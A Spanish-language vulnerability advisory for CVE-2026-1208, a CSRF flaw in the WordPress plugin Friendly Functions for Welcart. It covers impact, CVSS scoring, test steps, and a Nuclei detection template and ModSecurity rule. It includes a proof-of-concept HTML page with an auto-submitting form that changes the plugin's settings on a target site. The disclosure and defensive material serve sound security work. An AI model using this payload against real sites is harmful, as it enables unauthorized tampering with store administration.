CVE-2026-1208: Falsificación de Solicitudes entre Sitios en Friendly Functions for Welcart

Palabras clave: CVE-2026-1208, vulnerabilidad en Friendly Functions for Welcart, CSRF, Falsificación de Solicitudes entre Sitios, seguridad de WordPress, vulnerabilidad de plugin de WordPress, CWE-352, seguridad de Welcart, manipulación de ajustes, CVE 2026 de WordPress

Tabla de contenidos

• Descripción general
• Detalles de la vulnerabilidad
• Análisis técnico
• Vector de ataque
• Prueba de concepto
• Guía de remediación
• Métricas CVSS
• Referencias
• Contacto de seguridad

Descripción general

Vulnerabilidad CSRF en el plugin de WordPress Friendly Functions for Welcart (CVE-2026-1208) - Fallo de seguridad que permite a atacantes no autenticados modificar los ajustes del plugin mediante solicitudes falsificadas.

Se descubrió una vulnerabilidad de Falsificación de Solicitudes entre Sitios (CSRF) en el plugin Friendly Functions for Welcart que permite a atacantes no autenticados actualizar los ajustes del plugin engañando a un administrador para que haga clic en un enlace malicioso.

Descubierto por: Kai Aizen (SnailSploit)
Publicado: 23 de enero de 2026
Puntuación CVSS: 4.3 (Media)
CWE: CWE-352 - Falsificación de Solicitudes entre Sitios (CSRF)
Plugin: Friendly Functions for Welcart
Tipo de ataque: Falsificación de Solicitudes entre Sitios para actualización de ajustes
Privilegios requeridos: Ninguno (Ataque no autenticado + Ingeniería social)

Detalles de la vulnerabilidad

Descripción

El plugin Friendly Functions for Welcart para WordPress es vulnerable a Falsificación de Solicitudes entre Sitios en todas las versiones hasta la 1.2.5 inclusive. Esto se debe a la ausencia o a una validación incorrecta de nonce en la página de ajustes. Esto permite que atacantes no autenticados actualicen los ajustes del plugin mediante una solicitud falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace.

Impacto

Esta vulnerabilidad permite a atacantes no autenticados:

• Modificar los ajustes del plugin sin autorización
• Manipular la funcionalidad de comercio electrónico de Welcart
• Interrumpir potencialmente las operaciones de la tienda
• Encadenarse con otras vulnerabilidades para ataques escalados

Versiones afectadas

• Vulnerable: Todas las versiones ≤ 1.2.5
• Corregida: Versión 1.2.6 y posterior

Métricas CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Métrica	Valor
Vector de ataque	Red (AV:N)
Complejidad del ataque	Baja (AC:L)
Privilegios requeridos	Ninguno (PR:N)
Interacción del usuario	Requerida (UI:R)
Alcance	Sin cambios (S:U)
Confidencialidad	Ninguna (C:N)
Integridad	Baja (I:L)
Disponibilidad	Ninguna (A:N)

Detalles técnicos

La vulnerabilidad se encuentra en la implementación de la página de ajustes, donde:

1. El formulario de ajustes del plugin carece de una validación de nonce adecuada
2. Las solicitudes de actualización de ajustes se procesan sin verificar el origen de la solicitud
3. No se generan ni se validan tokens CSRF
4. Se pueden realizar acciones administrativas mediante solicitudes de origen cruzado

Ubicaciones del código vulnerable

La vulnerabilidad se identificó en las siguientes ubicaciones:

• ffw_function_settings.php - Línea 53
• ffw_function_settings.php - Línea 58

Vector de ataque

El ataque requiere ingeniería social para engañar a un administrador autenticado para que visite una página maliciosa o haga clic en un enlace manipulado mientras está conectado a su sitio de WordPress.

Target: WordPress Admin with Friendly Functions for Welcart installed
Method: Malicious HTML page with auto-submitting form
Trigger: Administrator clicks link or visits attacker-controlled page

Prueba de concepto

Payload HTML de CSRF

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
    <h1>Loading...</h1>
    <form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
        <input type="hidden" name="ffw_setting_option" value="malicious_value" />
        <!-- Add additional setting fields as needed -->
    </form>
    <script>
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

⚠️ Advertencia: Este PoC se proporciona únicamente con fines educativos y de pruebas autorizadas.

Pasos de prueba

1. Configura una instancia de WordPress con Friendly Functions for Welcart <= 1.2.5
2. Aloja el payload CSRF en un servidor controlado por el atacante
3. Autentícate como administrador en el sitio de WordPress objetivo
4. Visita la página controlada por el atacante (simulando hacer clic en un enlace malicioso)
5. Observa que los ajustes del plugin se modifican sin consentimiento explícito

Detección

Comprobación del plugin de WordPress

# Check if vulnerable version is installed
wp plugin list | grep -i "friendly-functions-for-welcart"

# Get specific version
wp plugin get friendly-functions-for-welcart --field=version

Reglas del escáner de seguridad

Plantilla de Nuclei:

id: CVE-2026-1208

info:
  name: Friendly Functions for Welcart - CSRF to Settings Update
  author: SnailSploit
  severity: medium
  description: |
    Friendly Functions for Welcart plugin for WordPress is vulnerable 
    to CSRF in versions <= 1.2.5 due to missing nonce validation.
  reference:
    - https://github.com/SnailSploit/CVE-2026-1208
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2026-1208
    cwe-id: CWE-352
  tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
    
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Friendly Functions for Welcart"
      
      - type: regex
        regex:
          - "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
      
      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "(?i)Stable tag:\\s*([0-9.]+)"

Reglas del firewall de aplicaciones web

Regla de ModSecurity:

# CVE-2026-1208 - Block CSRF attempts to FFW settings
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
    "chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
    log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
    SecRule ARGS:page "@streq ffw-settings" \
        "chain"
        SecRule &REQUEST_HEADERS:Referer "@eq 0"